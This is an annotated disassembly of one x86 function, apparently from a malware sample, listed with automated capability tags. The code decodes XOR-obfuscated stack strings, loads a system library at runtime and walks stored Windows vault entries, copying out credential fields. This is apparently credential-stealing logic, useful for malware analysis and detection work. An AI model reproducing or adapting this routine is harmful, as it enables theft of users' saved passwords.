Function at 0x4290e2
Capabilities:
Check os version
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
push ebx
push esi
push edi
mov esi, 0x114
mov dword [ebp - 0x98], ecx
push esi
xor ebx, ebx
lea eax, [ebp - 0x1d8]
push ebx
push eax
call fcn.00442300
add esp, 0xc
lea eax, [ebp - 0x1d8]
push esi
push ebx
push eax
call fcn.00442300
add esp, 0xc
mov dword [ebp - 0x1d8], esi
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x1d4], 6
jne 0x429146
cmp dword [ebp - 0x1d0], 2
mov byte [ebp - 1], 1
jae 0x429149
mov byte [ebp - 1], bl
mov cl, 0x53
mov dword [ebp - 0x25], 0x26322553
mov dword [ebp - 0x21], 0x3f30273f
mov eax, ebx
mov dword [ebp - 0x1d], 0x3f377d3a
mov word [ebp - 0x19], 0x3f
xor byte [ebp + eax - 0x24], cl
inc eax
cmp eax, 0xc
jae 0x429177
mov cl, byte [ebp - 0x25]
jmp 0x429168
lea eax, [ebp - 0x24]
mov byte [ebp - 0x18], bl
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x9c], edi
test edi, edi
je 0x429652
movaps xmm0, xmmword [str.kHQIrMXSkHQI]
mov ecx, ebx
movups xmmword [ebp - 0xbd], xmm0
mov al, byte [ebp - 0xbd]
xor byte [ebp + ecx - 0xbc], al
inc ecx
cmp ecx, 0xe
jb 0x4291a4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0xbc]
push eax
push edi
mov byte [ebp - 0xae], bl
call esi
movaps xmm0, xmmword [0x47e4d0]
mov ecx, ebx
mov dword [ebp - 0x60], eax
movups xmmword [ebp - 0xad], xmm0
mov byte [ebp - 0x9d], bl
mov al, byte [ebp - 0xad]
xor byte [ebp + ecx - 0xac], al
inc ecx
cmp ecx, 0xf
jb 0x4291e6
lea eax, [ebp - 0xac]
mov byte [ebp - 0x9d], bl
push eax
push edi
call esi
movaps xmm0, xmmword [0x47e3a0]
xor ecx, ecx
push 0x63
pop ebx
mov dword [ebp - 0x78], eax
movups xmmword [ebp - 0x91], xmm0
mov byte [ebp - 0x81], bl
mov dword [ebp - 0x80], 0x647a72
mov al, byte [ebp - 0x91]
xor byte [ebp + ecx - 0x90], al
inc ecx
cmp ecx, 0x13
jb 0x42922c
lea eax, [ebp - 0x90]
mov byte [ebp - 0x7d], 0
push eax
push edi
call esi
mov dword [ebp - 0x5c], eax
mov cl, 0x67
mov dword [ebp - 0x33], 0x12063167
xor eax, eax
mov dword [ebp - 0x2f], 0x220130b
mov dword [ebp - 0x2b], 0x2132e13
mov word [ebp - 0x27], 0xa
xor byte [ebp + eax - 0x32], cl
inc eax
cmp eax, 0xc
jae 0x42927e
mov cl, byte [ebp - 0x33]
jmp 0x42926f
lea eax, [ebp - 0x32]
mov byte [ebp - 0x26], 0
push eax
push edi
call esi
mov dword [ebp - 0x70], eax
mov cl, 0x59
mov dword [ebp - 0x41], 0x2c380f59
xor eax, eax
mov dword [ebp - 0x3d], 0x3c1e2d35
mov dword [ebp - 0x39], 0x3c2d102d
mov word [ebp - 0x35], 0x34
xor byte [ebp + eax - 0x40], cl
inc eax
cmp eax, 0xc
jae 0x4292ba
mov cl, byte [ebp - 0x41]
jmp 0x4292ab
lea eax, [ebp - 0x40]
mov byte [ebp - 0x34], 0
push eax
push edi
call esi
mov dword [ebp - 0x6c], eax
xor eax, eax
mov byte [ebp - 0x17], bl
mov dword [ebp - 0x16], 0xf160235
mov dword [ebp - 0x12], 0x6112517
mov word [ebp - 0xe], 6
xor byte [ebp + eax - 0x16], bl
inc eax
cmp eax, 9
jae 0x4292f0
mov bl, byte [ebp - 0x17]
jmp 0x4292e1
lea eax, [ebp - 0x16]
mov byte [ebp - 0xd], 0
push eax
push edi
call esi
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x7c], eax
test ecx, ecx
je 0x42964b
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x42964b
mov esi, dword [ebp - 0x5c]
test esi, esi
je 0x42964b
test eax, eax
je 0x42964b
cmp dword [ebp - 0x70], 0
je 0x42964b
cmp dword [ebp - 0x6c], 0
je 0x42964b
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0
push 0x487af8
call ecx
test eax, eax
js 0x42964b
and dword [ebp - 0x68], 0
lea eax, [ebp - 0x58]
and dword [ebp - 0x58], 0
push eax
lea eax, [ebp - 0x68]
push eax
push 0x200
push dword [ebp - 8]
call esi
test eax, eax
js 0x429645
and dword [ebp - 0x74], 0
cmp dword [ebp - 0x68], 0
jbe 0x42963f
mov edi, dword [ebp - 0x7c]
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], edx
mov esi, dword [ebp - 0x58]
xor ebx, ebx
push 0x10
push 0x487ae8
cmp byte [ebp - 1], bl
je 0x42949a
add esi, edx
push esi
mov dword [ebp - 0xc], esi
call fcn.00442618
add esp, 0xc
test eax, eax
jne 0x429614
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.00446ac5
pop ecx
push dword [esi + 0x10]
mov dword [ebp - 0x50], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [esi + 0x14]
add ecx, 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.00446ac5
pop ecx
mov ecx, dword [esi + 0x14]
add ecx, 0x20
mov dword [ebp - 0x54], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [esi + 0x18]
add ecx, 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.00446ac5
pop ecx
mov ecx, dword [ebp - 0xc]
mov esi, eax
mov dword [ebp - 0x64], esi
mov ecx, dword [ecx + 0x18]
add ecx, 0x20
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor ecx, ecx
lea eax, [ebp - 0x48]
push eax
mov eax, dword [ebp - 0xc]
push ecx
push ecx
push ecx
push dword [eax + 0x18]
mov dword [ebp - 0x48], ecx
push dword [eax + 0x14]
push eax
push dword [ebp - 8]
call dword [ebp - 0x6c]
test eax, eax
js 0x429588
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 0x1c]
add eax, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.00446ac5
pop ecx
mov ecx, dword [ebp - 0x48]
mov ebx, eax
mov ecx, dword [ecx + 0x1c]
add ecx, 0x20
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 0x48]
jmp 0x429586
add esi, ecx
push esi
mov dword [ebp - 0xc], esi
call fcn.00442618
add esp, 0xc
test eax, eax
jne 0x429614
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.00446ac5
pop ecx
push dword [esi + 0x10]
mov dword [ebp - 0x50], eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esi + 0x14]
add eax, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.00446ac5
pop ecx
mov ecx, eax
mov eax, dword [esi + 0x14]
add eax, 0x20
mov dword [ebp - 0x54], ecx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esi + 0x18]
add eax, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.00446ac5
mov esi, eax
mov eax, dword [ebp - 0xc]
pop ecx
mov dword [ebp - 0x64], esi
mov eax, dword [eax + 0x18]
add eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor ecx, ecx
lea eax, [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0xc]
push ecx
push ecx
mov dword [ebp - 0x4c], ecx
push dword [eax + 0x18]
push dword [eax + 0x14]
push eax
push dword [ebp - 8]
call dword [ebp - 0x70]
test eax, eax
js 0x429588
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 0x1c]
add eax, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
call fcn.00446ac5
mov ebx, eax
mov eax, dword [ebp - 0x4c]
pop ecx
mov eax, dword [eax + 0x1c]
add eax, 0x20
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 0x4c]
call edi
mov eax, dword [ebp - 0x50]
test eax, eax
je 0x4295f0
cmp dword [ebp - 0x54], 0
je 0x4295e9
test esi, esi
je 0x4295e9
test ebx, ebx
je 0x4295e9
push 0x47cb70
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x4295e6
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push dword [ebp - 0x64]
lea esi, [eax*2 + 2]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x98]
push esi
mov esi, dword [ebp - 0x64]
push ebx
lea eax, [eax*2 + 2]
push eax
push esi
push dword [ebp - 0x54]
push 6
pop edx
call fcn.00428b18
add esp, 0x14
mov eax, dword [ebp - 0x50]
push eax
call fcn.00445ce8
pop ecx
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x4295fe
push eax
call fcn.00445ce8
pop ecx
test esi, esi
je 0x429609
push esi
call fcn.00445ce8
pop ecx
test ebx, ebx
je 0x429614
push ebx
call fcn.00445ce8
pop ecx
mov eax, dword [ebp - 0x74]
mov edx, dword [ebp - 0x5c]
inc eax
mov ecx, dword [ebp - 0x60]
add edx, 0x38
add ecx, 0x34
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x60], ecx
cmp eax, dword [ebp - 0x68]
jb 0x429391
mov edi, dword [ebp - 0x9c]
mov ebx, dword [ebp - 0x78]
push dword [ebp - 0x58]
call dword [ebp - 0x7c]
lea eax, [ebp - 8]
push eax
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
leave
ret